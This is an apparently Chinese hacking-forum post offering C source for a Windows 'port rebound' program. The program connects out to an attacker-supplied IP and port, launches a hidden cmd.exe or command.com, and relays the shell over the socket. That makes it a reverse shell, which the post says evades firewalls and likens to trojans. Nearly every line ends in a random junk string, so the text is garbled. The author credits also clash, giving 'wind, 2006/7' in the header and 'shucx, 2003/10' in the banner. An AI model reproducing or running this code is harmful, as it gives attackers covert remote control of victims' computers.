Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 6<5:m:KE  

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/* ============================== G7-k ,P^  
Rebound port in Windows NT ,BGUIu6  
By wind,2006/7 PVljb=8F  
===============================*/ ?0JNaf  
#include [^/a`Kda8  
#include 2_M+o]Z^  
}o[<1+W(.  
#pragma comment(lib,"wsock32.lib") q j9q  
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void OutputShell(); DYgB_Iak  
SOCKET sClient; uT<<G
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9^Web~yi#  
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void main(int argc,char **argv) d`5AQfL&  
{ ~MYE8xrId  
WSADATA stWsaData; o"A)t=  
int nRet; Q^05n$ tI  
SOCKADDR_IN stSaiClient,stSaiServer; BYa#<jXtAT  
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if(argc != 3) k:@N6K/$P^  
{ alNn(0MG  
printf("Useage:\n\rRebound DestIP DestPort\n");  _X=6M gU  
return; zA3r&stN+  
} IQ-l%x[fue  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Lg#(?tMp,'  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \\Q){\S  
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stSaiClient.sin_family = AF_INET; 5e7\tBab  
stSaiClient.sin_port = htons(0); =43NSY  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L8NZU*"  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n^5Q f\o  
{ -F
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printf("Bind Socket Failed!\n"); 5gC>j(  
return; 5e0d;Rd  
} ),j6tq[  
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stSaiServer.sin_family = AF_INET;
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); MOp "kA  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W_3BL]^=  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) K3,PmI&W  
{ oJ"D5d,  
printf("Connect Error!"); |m@>AbR5dk  
return; @qx$b~%  
} ~.0'v [N  
OutputShell(); =9^}>u  
} QF*cdc<  
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void OutputShell() Acd@BL*  
{ h5-yhG  
char szBuff[1024]; YmjA
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SECURITY_ATTRIBUTES stSecurityAttributes; Eelv i5  
OSVERSIONINFO stOsversionInfo; m@w469&<(q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3/]FT#l]i  
STARTUPINFO stStartupInfo; y"U)&1 c%  
char *szShell; b^ [ z'  
PROCESS_INFORMATION stProcessInformation; mh SknyqT  
unsigned long lBytesRead; r=AA /n<  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UTN[!0[  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2Yd@V}  
stSecurityAttributes.lpSecurityDescriptor = 0; [cl+AV "  
stSecurityAttributes.bInheritHandle = TRUE; 2cRru]VZ5  
IXm[c@5l  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .n)R@&9  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ue'dI  
3#>%_@<  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -"H0Qafm  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 19!;0fe=  
stStartupInfo.wShowWindow = SW_HIDE; X(3| (1;sV  
stStartupInfo.hStdInput = hReadPipe; Y> }\'$\b  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EIyFGCw|U  
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GetVersionEx(&stOsversionInfo); EYCZuJxv  
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switch(stOsversionInfo.dwPlatformId) |GsMLY:0  
{ M_2>b:#A*  
case 1: "Ehh9 m1&
 
szShell = "command.com"; DBLM0*B  
break; zpeCT3Q5O  
default: d~h;|Bl[  
szShell = "cmd.exe"; pLV %g#h  
break; |3Oyg?2  
} t imY0fx#  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g#7Q-n3^  
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send(sClient,szMsg,77,0); v9S=$Aj  
while(1) #Er"i  
{ (uhE'IQ{(  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X7`-dSVE  
if(lBytesRead) vH1,As  
{ ^Qn:#O9  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y%- !%|  
send(sClient,szBuff,lBytesRead,0); )& Oxp&x  
} Fav++z  
else 9PV+Kr!c5I  
{ *p#@W-:9E  
lBytesRead=recv(sClient,szBuff,1024,0); 4gNN "  
if(lBytesRead<=0) break; J]{<Z?%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z,2*3Be6V  
} $ Y^0l  
} p4UEhT  
re}PpXRC  
return; r)K5<[\r  
}